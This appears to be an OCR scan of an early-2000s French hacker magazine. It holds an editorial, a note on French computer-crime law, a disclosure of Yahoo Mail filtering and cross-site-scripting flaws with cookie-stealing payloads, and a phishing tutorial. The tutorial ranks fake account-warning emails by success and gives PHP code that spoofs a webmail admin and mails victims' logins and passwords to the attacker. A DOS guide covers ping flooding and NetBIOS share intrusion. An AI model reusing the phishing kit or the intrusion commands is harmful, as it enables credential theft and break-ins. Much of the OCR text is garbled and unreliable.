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comme elles concernem tous ceux qun se sentent concemnés
par des idées simples comme la liberté de s'exprimer, d ap-
prendre, de comprendre...

Ces lois, gu'il nous faudra respecter, sont en train de s! éla~
borer sans nous. Ce n'est pas normal. Pourquoi ? Parce
qu'auparavant, on ne nous connaissait pas. Ou alors on
nous connaissait mal : on nous prenait pour des bad pirates,
et surtout ¢a arrangeait tout le monde. Sous prétexte de lutte
anti-piratage, onvérouillait un peu plus les libertés publiques.
On faisait peur au citoyen en agitant comme un épouvantail
l'image duméchant hacker qui peut s'introduire sur n'importe
quel systeme. Ca, c'était avant. Aujourd'hui, le travail de
fond que nous avons engagé depuis un an commence a
porter ses fruits. L'image des hackers et du hacking chan-
ge. Des reperes ont été déplacés. Quand nous révélons des
failles dans des systémes, comme sur Yahoo dans ce numé-
ro, nous consrdém, s en effet que nous rendons service &
tout le monde : atx utilisateurs de ces systémes d' abord, qui
ont le droit d'étre informé; aux fournisseurs de ces technolo-
gies ensuite, & qui on apprend quelque chose, mais surtout
a l'ensemble des citoyens, qui doivent savoir que la fragilité
fait partie de ce monde, méme Iorsqu'i{ s,aglt de multinatio-
nales réputées surpmssantes Dans cet esprit nous soute-
nons toute publica”zlon et toute initiative, en France et dans le
monde, qui partageraitavec nous cette vision des choses. D'ores
et déja; nous annongons le lancement début 2002 d'une
édition internationale en anglais de Hackerz Voice, et |'ou-
verture prochaine d'autres Hackademy en Europe .

Restons rebels et frais.

Tommy Lee
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Ce que dit la loi en France

« L'acces et |e maintien frauduleux total ou pariel
tans tout ou partie d'un Systeme o telit intrusion. -
est puni par I'article 323-1 t'un an d'emprisonne-

EnFrance, I'arme principale de|'arsenal juridique disponible contre
les hackers demeure la loi Godfrain du 5 janvier 1988 « relative
a la fraude informatique «. ce texte prévoir notamment que «
I’accés et le maintien frauduleux total ou partiel dans tout ou
partie d’un systéme ou délit d’intrusion est puni par |’article
323-1 d’un an d’emprisonnement et de 100 000 francs d’amen-
de «. Ce délit est constitué dés lors que n’importe quelle tech-
nique est employée pour accéder frauduleusement a un systeme
protégé. Il I’est aussi dans le cas de I’utilisation d’un code

La loi prévoit aussi que si I’accés ou le maintien frauduleux
dans le svstéme entraine la suppression ou la modification de
données, ou méme une simple altération, méme involontaire
ou par maladresse, les peines sont douhlées.

Lorsque I'action est volontaire, I'article 323-2 prévoit 3 ans
d’emprisonnement et 300 000 francs d’amende. La encore, |a

d’accés exact, mais par une personne non autorisée a I'utiliser.

ment et de 100 000 lram:s 1I'amentle ».

Il faut savoir que la simple tentative, non suivie de réussite

donc, est punie des mémes peines. En outre, les personnes
physiques coupables d’un de ces détits encourent, en plus de la
peine principale, des peines cumplémentairas énumérées a
Iarticle 323-5.

L.es personnes morales, comme les entreprises ou les associa-

-tions, peuvent elles aussi étre déclarées responsahles pénalement

et encourent les peines prévues a |’article 131-39 du nouveau
code pénal.

loi texte vise tous les procédés et toutes les techniques utili-
sées, méme celles inconnues au moment de la rédaction de la
loi. Cette disposition vise aussi la propagation de virus infor-
matique.
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A I’heure oul vous lirez ces
lignes, les failles que nous
avons trouvées auront-elles
été colmatées ?

Nous avons identifié plusieurs trous béants de securité dans Yahoo mail, permetant
de pirater les courriers électroniques des utilisateurs de ce service.

Nous avons prévenu Yahoo le 28 novembre dernier en leur expliquant la nature des
failles que nous avions décelé, et que nous expliguons icl.

Nous n'avons pas été pris au serieux. A I'heure ou vous lirez ces lignes, ces failles
auront elles été colmatées? Nous I'esperons. De notre coté, nous tenons toujours
ala disposition de Yahoo, gratuitement cela va sans dire, toutes les informations concen-
nant ces trous de securité a I'échelle mondiale que nous avons identifiés.

Yahoo est 1'un des plus gros fournisseur au monde de services de
consultationdecourrier électronique par unnavigateur web ("'web-

mail"). Présente dans le monde entier, cette multinationalea -

diversifié ses activités et s'oriente vers le e-business.

De nombreuses failles de sécurité ont été trouvées dans le passé
sur l'autre mastodonte du webmail qu'est Hotmail (de Micro-
soft). Ce dernier jouit d'une mauvaise réputation a cause de ces
vulnérabilités. Pourtant certaines d'entre elles s apphqualent
également & Yahoo, mais cela n'était pas vraiment mis en valeur.
Cherchez "hotmailsecurityhole" et "yahoosecurity hole" sur google
et vous verrez la différence en nombre de résultats. :

Je me suis interrogeé sur le niveau de sécurité de Yahoo, pour
savoir ce qu'il en était vraiment.

J'ai donc commencé un audit (gratuit, je suis trop bon ;) du site

mail.yahoo.com. Pourrester danslalégalité la pluscompléte, je me
suis intéressé uniquement a la securité du coté "client", c'est-a-
dire aux failles liées a ce qu'il se passe quand 'utilisateur du ser-
vice lit ses mails avec son navigateur web. J'ai donc laissé de coté
la question du niveau de résistance aux intrusions des serveurs de
yahoo.com.

iLa problémathue de la sécurlté
des webmalls

Lors de la consultation d'un service webmail, quel qu'il soit, les
pages affichées par le navigateur de l'utilisateur contiennent des
données venant de sources extérieures, comme le texte des cour-
riersélectroniques requs. Cesdonnéespeuvent contenir ducode hos-
tile, qui estinterprétépar lenavigateur, en particulier du javascript.

Ce code pourrait profiter d'un bug du navigateur pour implan-
ter un virus ou un cheval de Troie dans 1'ordinateur. Il peut aussi
induireenerreur l'utilisateur (affichage d'unepagesimulantle vrai
sitemaissituéesur unautreserveur, ete.) pour leforcera transmettre
des informations, comme son mot de passe, a une tierce partie
('ordinateur d'un pirate). Il peut également manipulér automa-
tiquement la boite mail : détruire des messages, les lire, les
envoyer, modifier les préférences de l'utilisateur, etc.

Cecodepeutaussitirer profit dufait qu'ilest contenu dansune page
web du site visité pour demander au navigateur de lui trans-
mettre le cookie d'authentification de la session, et I'envoyer via
Internet & un script CGI placé sur un serveur pubhc par un pira-
te. Cescriptpeutalorsutiliser le cookie pouraccéderala boite mail

_ delavictimesans avoir besoin deconnaitre sonmot de passe, et peut

récupérer automatiquement touslesmails quiysontcontenus. Cela
n'est possible ques'il n'yapasde vérification par leserveur del'adres-
se [P de l'ordinateur qui y accéde : malheureusement, rares sont
les webmails qui effectuent cette vérification. Il semble en parti-
culier que Yahoo ne la réalise pas.
Tout le probléme de la sécurité des sites webmails est donc de fil-
trer les données contenues dans les courriers électroniques pour
en extraire le code potentiellement hostile, ou le transformer de
maniere a modifier le moins possible le contenu, tout en le ren-
dant inoffensif. Il est difficile de mettre en place un bon filtrage,
car chaque nouvelle version des navigateurs web intégre de nou-
velles fonctionnalités qui peuvent étre utilisées a mauvais
escient. De plus, les navigateurs réagissent tous différemment a
uneméme page web : certainsessaient decorriger automatiquement
des erreurs classiques dans le code HTML, certains tags sont
spécifiques & un type de navigateur, etc. Bref, ¢'est assez délicat.
Des problémes structuraux sont également a prendre en compte
dans la conception d'un systéme webmail: le traitement des
piéces jointes (qui peuvent aussi contenir du code hostile), la
bonne différenciation entre zone de lecture du courrier et zone
de gestion ducourrier pour éviter lesméprises (clicsur un faux bou-
ton "répondre" contenu dans le mail), etc.

il Premidre vulnérabliité : une fallle dans
le dispositif de flitrage :

Lors de la lecture d'un message regu au format HTML, il suffi-
sait que I ut111sateur clique sur un lien spécialement construit
pour que le lien s'ouvre dans la méme fenétre, ou pour que du’
code javascript hostile s'exécute. Est-ce un gros probleme 7 Oui,
car si la plupart des personnes savent maintenant qu'il ne faut
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pas cliquer sur des picces jointes (méme envoyées par des connais-
sances), ellesnese doutent pas quecliquer surunlienapparemment
innocent peut &tre aussi fatal.

Mame en ayant le javascript désactivé, on peut imaginer un mes-
sagesemblant provenir dusupport technique de Yahoo, qui deman-
de a l'utilisateur de mettre a jour les informations de son compte
pour une raison quelconque. Le lienferaitouvrir une fenétre deman-
dant le mot de passe, en tous points semblable a celle que Yahoo

affiche quand on veut accéder a ses informations personnelles

dans le menu Options. Il y a quelques mois, un mail de ce type a
circulé sur lesite et a trompé un pourcentage important de per-
Sonnes:
Pour cette raison, si un lien est contenu dans un mail, lors de
l'affichage du message le serveurYahoo rajoute automatique-
ment un paramétre target="_blank", ce qui oblige le lien a &tre
ouvert dans une nouvelle fenétre.
Ainsi:

< inef="Hp:// WXy >
devient:

< firgl="flt://wwwxe.yy" tanget="_flank"> '

Maisil yavait unefaille: sionintroduitun paramétresupplémentaire
dontlavaleur contientunsigne'>", cela trompelesystéme de Yahoo
qui interpreéte ce signe comme lafin du tag <a...> et rajoute
alors le rgf="_hlank".
Ainsi:

<'am|:m=_“mm://mmmhw“ {puc=="maehin>"llen</a>
, doviemss. o b
. <A hegt=="0//Www. XK.y IPuc="machin largel="_blank">"lien</a>

;‘i.'-é navigateur de l'utilisateur voit donc un lien vers le site
Tittp://www.xxx.yy, avecunattribut truc=""machin target="qu'il
‘ignore puisqu'ilneconnait pasce nom d'attribut, etle texte _blank"

qui ne devrait pas se retrouver la mais qui est ignoré également

sans émettre d'erreur. Dans cet exemple, il apparait un guillemet
devant le texte du lien, mais une petite astuce permet de s'en
débarrasser (pour cela on peut faire intervenir un tag <rign
{olo=""></pign>). Lorsque I'on clique sur un tel lien, il s'ouvre
dans la méme fenétre...

‘D'autre part, Yahoo filtre le mot-clé "javascript" en le rempla-
cant par "java-script" etensupprimantun ou deux caractéressitués
4 la suite. Pour étre certain de ne rien laisser passer, ce filtre est
trés large: souvent, méme si ce mot doit apparaitre dans le texte
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du mail et non dans un tag HTML, le filtrage opére tout de
méme. Bien. Pourtant, il existe un cas ot lemot-clé 'javaseript' n'est
pas filtré: c'est justement quand il est situé dans un lien ! En
effet, l'exécution decodejavascript dans unenouvelle fenétre (_blank)
ne permet pas de récupérer le cookie du domaine .yahoo.com, ni
de manipuler la boite mail, donc Yahoo I'autorise.
En combinant ceci avec le bug que I'on a vu au-dessus, il était
done possible d'exécuter un code javascript dans la page de lec-
ture du mail, aprés un clic sur le lien.
Ainsi, un clicsur <a href="javascript:alert(document.cookie)">
affiche 4 I'écran le contenu du cookie de session... Un autre code
permet de le transmettre sur le serveur Internet d'un pirate.
J'ai également écrit et testé (sur un compte & moi, faut-il le pré-
ciser ?) un script qui supprime en quelques secondes tous les
messages contenus dans la boite de réception, puis vide automa-
tiquement la poubelle, montrant ainsi les possibilités destruc-
trices de ce type de probléme.
Je suis disposé & le fournir au technicien de Yahoo France, que
j'ai eu au téléphone durant deux heures le mercredi 26 novembre,
sans parvenir a le convaincre de la portée du probléme, et sans
qu'ildaigne "déranger uningénieur pourmoi", neserait-ce que par
mail (j'avais pourtant fourni une photo d'écran probante, montrant
l'affichage du cookie).
Le concept de rajouter un signe supérieur dans un attribut pour
tromper les filtres n'est pas nouveau: bien que dans un cadre un
“peu différent, il a été diffusé en février 2000 par Mare Slemko
sur la liste vuln-dev, publiquement accessible sur Internet (voir
les archives sur www.securityfocus.com), & propos du logiciel de
webmail gratuit IMP ! Yahoo aurait-il quelque chose & apprendre
du monde du logiciel libre ? Certainement, mais la réciproque
estvraieaussi: j'ai trouvé destrousdesécuritésur IMP, quisont cor-
rigés sur Yahoo. Mais au moins lorsque I'on regarde le code
source de IMP on voit que les programmeurs sont au courant
puisqu'ils annoncent "ces filtres ne sont pas parfaits, regarder
les mails en HTML est une trés mauvaise idée". Et ils ont bien
raison: mes rechierches montrent que quel que soit le webmail
que vous utilisez, le filtre parfait n'a pas encore été inventé !

Il Deuxiéme vulnérabllité: “cross-site scrip-
ting” ou le retour du fils de la vengance du
>/textarea< .

RESUMEZEN ANALYSANT ON VIROS DESTINE A
DETRUIRE LE HACKERLAND, Pary VIRUS A
DECOWERT QUL PROVENAIT DU PALAIS D€
LENFER  EN Y ENVoYANT UNE CAMERA ESAION,
MK et LooLA SER T FACE AU PERE
D€ JACK, EcRAN Noi R, Qu'oN CRoYATT IR
CEST Lui QU1 A ENVEYE CEVIRVS PR LES
JoINDRE SANS ATTIRER LATTENTION TES
FORCES DE LORDRE NUMERIGUE ToNT LES
VRAIS CHEFS SoNT LES INFoRMATICIENS Gui
ONT DECOWERT LA SAURCE T REALITE VIRTURLLE
ET CONTROLENT LUNIVERS QUILS oNT NUMERISE,
EcRarvNolR ET tes Hel Ecrronic's ANGELS
anT TROUVE ON PASSAGE Qui CoNPUIT Au CEUR ZELA
RéaciTE Ecran NoiR Y EMMENE looia € JACK,




Lorsdel'affichage d'un texte dansunezone de texte, les tags HTML
qui y sont éventuellement contenus (comme <b>, <img>,
etc...) nesont pas interprétés par le navigateur. Beaucoup de
développeurs d'applications web pensent, a tort, que tout ce
qu'il peuvent mettre entre les tags <textarea> et </textarea>
(qui delimitent la zone de texte) seraignoré par le navigateur.
Cela est vrai... a l'exception du tag de commentaire <!--, et sut-
tout du tag </textarea> !

Ainsi, si les caractéres spéciaux comme < et > ne sont pas trans-
formeés en leurs équivalents hml (appelés entités: &It; et &gt;),
l'insertion dans une zone de texte d'un contenu comme:

</lexlarea> :
<Senipt Language=Javaseriptl. 1>alert(document.cookie)</script>

va fermer la zone de texte et insérer le script dans la page: ce
dernier sera done exécuté. (voir le Hackerz Yoice 7 pour une dis-
cussion plus détaillée, 2 propos d'une faille identique touchant
d'autres webmails)

Or dans le domaine mail.yahoo.com, plusieurs pages (comme la
page de composition d'un message) étaient vulnérables a ce type
d'attaque, quel'onappelle plus géneralement "cross-sitescripting”'.
Clestlefait quel'utilisateur puisseinsérer *lui-méme* duscript dans
la page d'un site. Ca parait innocent: quel intérét pour 'utilisa-
teur de se pirater lui méme ? C'est pourquoi de nombreux sites
ne sont pas protéges contre cela. Pourtant, c¢'est extrémement
dangereux: si l'utilisateur clique sur un lien convenable contenu
dans un mail, du type http://mail.yahoo.com/compose? hody=</lexta-
Peaz<seript>...</sohipl>, il va ouvrir une page contenue dans le
domaine mail.yahoo.com, dans laquelle sera contenu du javas-
cript ! Je pense que vous avez compris le probléme... D'autant
plus que le lien est situé dans un domaine auquel l'utilisateur
fait confiance, il aura donc tendance a cliquer dessus plus facile-
ment. Cela peut donc fonctionner méme si le message est en texte
seul. Dans un message en HTML; passer les filtres est facile en
encodant ['url. ;

En 1'an 2000, le CERT et Microsoft ont publié un "advisory"
sur ce théme, et un exemple de la faille </textarea> avait été
détecté lamémeannée. Sur yahoo.com, d'autres problémes de cross-
site scripting avaient été découverts par mparcens il y a six mois,
et corriges.

7 Voice hors Série / n° 4

Le manuel de !

IV C'est tout ?

Hum, heu... Les failles que j'ai signalées peuvent étre corrigés
assez facilement, avant la parution du journal. J'espére que c'est
le cas ! (voit sur www.dmpfrance.com pour en étre sur). Il existe
cependant d'autres trous de sécurité sur Yahoo! Mail, lesquels,
utilisés éventuellement en combinaison avec les précédents, per-

.mettent & un individu mal intentionné de manipuler compléte-

ment la boite mail de l'utilisateur sans que celui-ci n'ait besoin
de cliquer sur un lien situé dans un message. Mais ce sera pour la
prochaine fois... laissons & I'équipe de Yahoo le temps de se
retourner. .
Et puis, ce style de probléme est tellement répandu que je ne pré-
fére pas en parler maintenant: j'enjoins les développeurs d'appli-
cationsweb soucieux desécurité de m'envoyer leur clé PGP certifiée
pour que je leur transmette un document technique recensant les
vulnérabilites connues du "coté client", avant publication de ce
document dans le Hackerz Voice 8. I'ai pu trouver une faille
importante dans chaque webmail auquel je me suis intéresse
(une dizaine a ce jour, du plus petit au plus gros), il y a donc
trop de sociétés concernées pour que je puisse toutes les contac-
ter de moi-méme, sachant que la recherche d'une adresse de
contact valable est souvent ardue (on tombe sur une hotline).

V Alors, Yahoo néglige-t-il la ldéurlté et la
protection de la vie privée?

Non, pas exactement. Ils font uneffort important de filtrage du
contenu des mails en HTML, et demandent & I'utilisateur de
retaperson mot depasseavant de pouvoir accéder aux informations
confidentiellesducompte, cequiestuneexcellenteidee. Unsystéme
a eté tgalement mis en place pour limiter le risque que quel-
qu'un'rajoute une adresse de transfert des messages. Ces disposi-
tifs permettent de liniter I'impact que peut avoir l'exécution de
javascript sur une page, a condition que l'utilisateur de se laisse
pas abuser et ne fournisse pas son mot de passe.

Neéanmoins, on peut regretter queleur politique en matiére de sécu-
rité soit attentiste: au lieu de chercher eux-méme les vulnérabili-
tés, ilssemblent attendre que d'autres personneslesleur signale pour
lescorrigerensuite. Je n'explique pasautrement le fait que ducross-
site scripting soit encore possible sur certaines pages alors que le

. problémeavait étésoulevésur d'autres pages de yahooil yasix mois,

méme si la méthode utilisée était différente.

suite page 31
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FAIRE UN FAKE WIAIL SOIS-MEME

Recette Hackerz voice numéro 12 025 bis

DISCLAIMER

L'ARTICLE CI-DESSOUS A POUR BUT DE VOUS
INFORMER. S1 VOUS METTEZ EN PRATIQUE CE
QU'IL Y A CI-DESSOUS, G'EST A VOS RISQUES
ET PERILS. NI MOI, NI HACKERZ VOICE NE SERONT
RESPONSABLES DE GE QUE VOUS ALLEZ FAIRE
AVEG CET ARIIGI.E '

i- huo-m qu'un fake mall

Les fakes mai ,"Qﬂ;dt)}t vous dne quelque chose. En effet, onena
déja parle dans un manuel mais, Je voulais faire un article dessus
g:a«r, c'est une pure techmque qm 4.mon avis, peut donner de trés
résultats. .

Pour les petits newbtes jé vais quand meme exphquer ce qu'est
un fake mail. '

Clest un e~ maﬂ que l' on envoi anonymement et ou on se fait pas-
ser poury un admm afin d'obtenir le password d'un compte.

ll- Qun comlent un fake maill ?

Les fakes marl centwnnent en.général, un petit texte, expliquant
que le compie de la victime va étre détruit pour des raisons par-
ticuliereset, un formuimredemandantéla victimesonlogin, et bien
sur, son PASS.

J'ai fait, ci-dessous, un récapitulatif de dlfferents texte de fake

que j'ai testé et que je note sur 10

F
'Vous ETes DANS a
S/ F [ 1nForreresse hanée
NN SIAR -
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2 3M S - <
Q - 7
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= 3 W\ !
& TR ;
== F’ e, e
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FAKE MAIL 1.

[logo du serveur]

SUITEAUN GRAVE PROBLEME SUR LESERVEUR, VOTRE COMPTE RISQUEDENEPLUS ETRE
RECONNU. VOUS N'Y AUREZ DONG PLUS ACCES.

POUR Y REMEDIER, VEUILLEZ REACTURLISER LES DONNEES DE VOTRE COMPTE EN
REMPLISSANT LE FORMULAIRE CI-DESSOUS.

81 VOUS SOUHAITEZ CHANGER DE SERVEUR HAIL,HE REMPLISSEL PAS LES CHAMPS
CI-DESSOUS ET VOTRE COMPTE SERA TOTALEMENT DETRUIT.

Merei de votre compréhension.
Cordialement.
L'équipe [serveur]

NOTE: 5/10
FAKE MALL 2.

[logo du serveur]

POUR DES RAISONS 'ACTUALISATION, VOUS DEVEL REMPLIR LE FORMULAIRE CI-
 DESSOUS AFIN DE POUVOIR CONTINUER A ACCEDER A VOTRE COMPTE

Merei de votre compréhension.
Cordialement.
L'équipe [serveur]

NOTE-: 4/10

.....
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(Pour ALLER AUCCEUR DE £

e A AN
T :
awums Le MenNDE ETWG‘E- :
A3 _ e ®

EN TOUTE SECuURi




FAKE MAIL 3

[logo du serveur]

COMMEVOUS LE SAVEZ PEUTETRE, NOUS AVONS DEPUIS QUELQUES SEMAINES DES PRO-
BLEMES DE TYPE BI0S-B5 SUR NOTRE SERVEUR. LA TOTALITE DES COMPTES VA DIS-
PARAITRE. : '

POUR EVITER CELA, VEUILLEZ REMPLIR LE FORMULAIRE CI-DESSOUS AFIN DE REAC-
TUALISER VOS DONNEES AUPRES DU SERVEUR.

Merci de votre compréhension.
~ Cordialement.
L'équipe [serveur]

NOTE : 8/10
FAKE MAIL 4

[logo du serveur]

NOTRESERVEUR A ETEPENETRER PAR DES PIRATES QUELQUES DONNEES ON ETE ENDOM-
MhﬂngET, VOUS DEVEZ REMPLIR LE FORMULAIRE CI-DESSOUS AFIN DE LES REAC-
TUALISER.

Merci de votre compreéhension.
Cordialement.
L'équipe [serveur]

NOTE:: 2/10

Comme vous le voyez, les résultats peuvent étre trés surprenants.
Je vous conseille donc le Fake n° 3 qui a rapporté a une mauvaise
connaissance 6 passwordssur 10 fakes envoyés ce quiest exceptionnel.

iil- COMMENT FAIRE SOIT-MEME
SON FAKE MAIL

Je vais vous expliquer ci-dessous comment faire vous-méme votre
fake-mailer en PHP.

Celan'arien de trés compliqué. L'explication va étre tres
détaillée de fagon a ce que n'importe qui puisse le faire.

SA STRUCTURE MORCELEE, ToTALEMENT

G S B RER
EPERES

[eAR LES F.0.N: Xyrt &=
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Voici le code.

<!

Sheaters .= "From;champ1\n";

Shearers .= "Content-Type; text/html; chargel=iso-8859-1\1";
Stext ="champ2"; :

mal{"champ3", “champd"”, "Stext", "Sheaders");

1>

CHAMP [ : Adresse d'expédition
CHAMP 2 : Message

CHAMP 3 : Adresse mail de la victime
CHAMP 4 : Objet du message

Pour le champ 1, le mieux est de mettre " Admin@serveur.com",
Pour le champ 2, vous mettez le texte du fake au format HTML
(voir ci-dessous et ci-déssus ).

Pour le champ 3, vous mettez I'adresse e-mail de la victime sous

+ la forme login(@serveur.com
- Pour le champ 4, le mieux est de mettre "Probleme sur votre

compte".

ATTENTION AUX ACCENTS : Surtout, ne pas mettre d'ac-

cent car php vous fera un gros bug siil trouve un accent !

Vous savez maintenant envoyer un e-mail en php. Nous allons
voir comment intégrer le formulaire.
Voici le code 4 insérer pour le formulaire.

<form method=post action=champ1>
Login; :
<(npurt type=text name=login>

Mot tlg passe;

<(nput type=password name={ass=>

<fnput type=submit valus=Envayer=>

</FORM> .

Pour pouvoir envoyer les mails, il va falloir vous créer votre
propre compte chez un hébergeur qui gére le php et qui ne.
bloque paslacommandemail(). In'yend qu'l, ¢'est multimania.com.
Allez donc vous créer un compte multimania, ¢a prend 3 minutes
et c'est gratuit.

i

:

SMMANTY
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Une fois ce compte créé, dans le champl, vous allez mettre :-
http://votre_login. multimania.com/formulaire.php

Nous verront plus bas ce que vous allez mettre dans formulaire.php.

Pour le format html, ceux qui ne font pas de html, ne vous tra-

cassez pas, je vous mets un listening complet plus bas.

Reprenons notre code avec toutes les modifications et le texte

n°3. Nous prenons comme exemple un compte caramail.

<1

Shieaders = "From:admin@caramail. com\1";

Sheaders = "Content-Type: text/tml; chargel=iso-8859-1\1";

- Stext ="

<conter=><imy sre="champ1"> <fr> <lont face=arial>
GOMME VOUS LE SAVEZ PEUT-ETRE, NOUS AVONS <hr>
DEPUIS QUELQUES SEMAINES DES PROBLEMES DE TYPEDOS-B5<hi> SURNOTRE
SERVEUR. LA TOTALITE DES GOMPTES VA DISPARAITRE.<hr><hr>

POUR EVITER CELA, VEUILLEL REMPLIR LE FORMULAIRE CI-DESSOUS <>
AFIN DE REACTUALISER U0S DONNEES AUPRES DU SERVEUR. <lr></center=>

Merei de votee compréhansion.<tr>
Gordialement.<fr> ;
&nhsyi;&nlsp; &nhsp; &nhsp;L'Bauige Caramail<br>

<form method=ost action=htiy://votre_agin.mullimania.com/ formulaire. php>
Login: ©  ccmmtinse '
<imput type=text name=login> ’
Molde passe:

< <Iput type=password name=iass>

- <input type=submit value=Envayer>

- </FORM>",

mall(victime@cargmel.con”,"Votrocompleades probiemes" " Slen", " Stieaders")
ecfio "ga y est | L& Fake Mail 646 envoyé & fa victime 1";
1> : g
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Et voila. Vous recopiez le listening ci-dessus dans notepad et
vous nommez le fichier index.php - :

Autre chose, dans champl, il faut mettre I'url du logo de cara-
mail. Je vous laisse le trouver vous-méme, c'est pas trés compli-
qué. |

I1 ne nous reste plus qu'a créer le fichier formulaire.php !

Nous allons donc le faire. Le voici, ci-dessous.

<!

mail("votpeatressee-mail”, "Le fake mail a marché 1", Bravo | Ton fake @ marché !
Le login dela victime est Slogin et |2 mol de passe du comple est Spass !*, “From:
pass@mv.com";

6eho "Mercl. Vos données on 618 actualiser avee Suces.";

>

Voila. Et ¢a vous renvoie la login et le pass dans votre boite d'e-
mail. Pareil, vous recopiez le listening ci-dessous dans notepad
et vous le nommez formulaire.php

Vous avez les 2 fichiers. Votre fake est presque fini. Vous n'avez
plus qu'a mettre les 2 fichiers sur votre compte multimania. Ca,
si vous ne savez pas faire, je ne peux rien pour vous !

Sivoussouhaitez envoyerplusieuré fakes, ilsuffit de changerl'adres-
see-mail dela victime et de remettre sur multimaniala page index.php.

V- CONCLUSION

Ben voila. Un article complet (enfin, je crois). C'est mon premier
article pour hzy mais ce n'est stirement pas le dernier.

Si vous avez des problémes, questions, suggestions, insultes, n'hé-
sitez pas >>>> bipeurs@hotmail.com

@+

Bipeurs

do
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~ UNHACK SOUS DOS

Etoui!

méme de simples
commandes DOS
peuvent se reveler
utiles aux hackerz

Le DOS est une mine d’or pour djeunz hackeurZ. .. et comme le
demandait Animu dans le Manuel #2 voila enfin un article pour
les newbies de chez newbies :)

Voici les principales commandes utiles aux attaques par DOS'(a
ne pas confondre avec I'attaque DoS : DenialofService qui est un
- plantage de 1'0S distant) avec exemples et shémas & I'appui :

Le Ping :

Nom de la commande : fing

@-Le ping sert & convertir le nom d’héte ou I'url d’un site en ip,

.4 obtenir des infos sur un serveur désiré (souvent voire tou-
jours utile et indispensable avant I"attaque de SON site) et &
tester le temps de réponse d’un serveur.

Exemple : C\WINDOWS>ping www.dmpirance.com

Envoi d'une requéte 'ping’ sur www.dmpirance.com [212.43.198.1871 avec 32 ociels
g donnges : :

FEEELYINw
X Q 2R

N ~

-

/11

‘Réponse de 212.43.106.167 : uctels=32 temps=142 ms TTL=240
Réponse de 212.43.196.167 : uclets=32 temps=141ms TTL=240
Réponse de 212.43.196.167 : oclels=32 temps=139 ms TTL=240
Réponse de 212.43.196.167 : oclels=32 temps=144 ms TTL=240

Statistiues Piny pour 212.43.196.167 ; ¢
Paiuets : envoyés =4, recus =4, perdus =10 (jerte 0%),
Dure - approximative des boucles en milli — secondes:
minimum = 139ms, maximum = 144ms, moyenne = 141ms

@ La commande ‘ping’ a une autre fonction : le ping overflood
(ou flood ping). Cette fonction du ping sert a rebooter I'ordi
du mec qui vous attaque. Je I'ai appris & ma mére et quand il y a
"le petit H qui clignote" (le firewall). .. attention 4 vous ;°) hé
hé

La commande a entrer est : ping —nnbr_te_packels. in.de.la.cible

Exemple : C\WINDOWS>ping —n 85000 172.180.176.24 // j°ai mis 65000

__mais faut en mettre suffisamment pour faire rebooter la machine

attaquante (ou la votre ! car il est strictement interdit de faire
justice sois méme ;)

Envoi d'une requéte 'ping’ 172.190.176.24 avee 32 nctets de donnges ; //no panick !

. 3 ¢'estmonip
Réponse de 172.190.176.24 : oclels=32 lemps<10ms TTL=128
Renonse de 172.190.176.24 : oclels=32 temps<10ms TTL=128
Réponse de 172.10.176.24 : oclels=32 lemps<10ms TTL=128
Reponse de 172.190.176.24 : oclels=32 lemps<10ms TTL=128
Réponse de 172.190.176.24 : oclels=32 lemps<10ms TTL=128
[...]
Réponse de 172.190.176.24 : oclels=32 lemps<10ms TTL=128
Réponse de 172.190.176.24 : oclels=32 lemps<10ms TTL=128 -
Réponse e 172.190.176.24 : ootels=32 temps<10ms TTL=128 //J'ai mac-
A ! courci e
fuelques
milliers de
lignes. ..
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Statistinues Ping pour 212.43.196.167 ;
Paquets : envoyés = 45831, recus = 12563, perdus = 33008 [. ..]

Pour arréter le flood faites Ctrl+C

@ Btderniére fonctionutile pour nous: I'oversize packet déja abor-
dé dans hackerz voice #2. :

La commande & entrer est : ping—Itaille dans taille rentrer la taille

du paquet & envoyer comprise entre 0 et 65000 (la plus grosse

possible bien sur ;)

Exemple s G\WINDOWS>ping —! 64510 wwJesite.com

Malheureusement pour nous et heureusement pour les admins,
presque tous les serveurs sont protégés et vous recevrez une mes-
sage de timeout comme quoi le délai d’attenteautoriséestdépasse. ..

Net view : :

Nom de commande : net view nom_d’ordi

L.a commande net view sert 4 voir les ressources partagées d’un
ordi avant une attaque NetBIOS (voir plus loin)

Exemple : C\WINDOWS>netview \\ G4S0F2

Net use : :

Nom de commande : net use \\iom_'ordi\etire_de_partition
Lacommande net use sert & se connecfer au répertoire d’une res-
source partagé sans pass. Son utilité la plus frequente est dans les
attaques NetBIOS pourse connecter au répertoire windows en
mettant c$ 4 la place de la lettre de la partition (voir plus loin).
Exemple : CAWINDOWS>net use \\ 6458F2\d

Le statistic NetBIOS over TCP/IP :-
Nom de commande : nbtstat S
L'attaque par NetBios est une intrusion en régle quisert a ren-
trer dans un ordi qui a des fichiers partageés (c’est un exploit Net-
BIOS quoi)..
La commande a entrer est : nbtstat —A ip.du.pigeon

Exemple : C:\WINDOWS>nbistat —A 172.188.66.214 // c’est aussi mon ip
mais j’ai modifié le nom d’ordi (pas fou !)

NetBIOS Remote Machine Name Table

Name . “Tupe Status

G4S9F2 <20> UNIQUE Registred
WORKGROUP * <00> GROUP Registred
G4S9F2 <03> UNIQUE Registred

MAC Adress = 44 —45 — 53 — 54— 00 — 00

Laligne "G458F2  <20> UNIQUE Repisteed” nous intéresse car elle
possédelenomd’ordi (G4S9F2) et la valeur <20> quiveut dire que
I’hdte possede des fichiers partagé et donc que I'attaque va étre
possible.

[l faut maintenant modifier le DOS en entrant la ligne edil Imhost
pour entrer dans I'éditeur de DOS puis taper les commandes :

In.de.fa.cible nom_de_lordi #PRE

Done pour I'exemple demon ordi ;-
172.188.66.214 G4S9F2 #PRE

FaitesFichier>Enregistrer puis Fichiers>Quitterpour revenirau DOS.
Tapez ensuite la commande : nitstal -

Vous obtenez alors : Suceassfull purge and preload of the NBT Remole Cache Name
Table puis I'inventaire des ressources partagées (a,c.d...).

Entrez alors la commande : et view \\nom_d'ori

Done pour notre exemple : CAWINDOWS>nel view \\ G4S8F2

Vous obtenezalors!’inventaire desressourcespartagées(a.c.d.e...)
Entrez ensuite : net use \iom_d'ordNK \\ X étant la lettre de partion
a laquelle on veut accéder.

Puis pour accéder au répertoire vindaube (qui donnera donc
aceés au disque dur distant), remplacez le X par ¢§

Ca y est j’ai pris le controle de mon ordi :)

Les connexions actives :

Nom de commande : netstat -n

Lacommande Netstatsert a voir toutesconnections actives versvotre
ordi sous la forme :

Prolo ~ Adregse locale Adresse distante Etat
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Mais!'utilitépour vadoncétrede trouver uneipsuricq. Benouéle mec
avec qui vous parlez est en connection active avec I'icq de votre ordi.

Pour choper 'ip de votre-pote sur icq faut d’abord qu'il soit
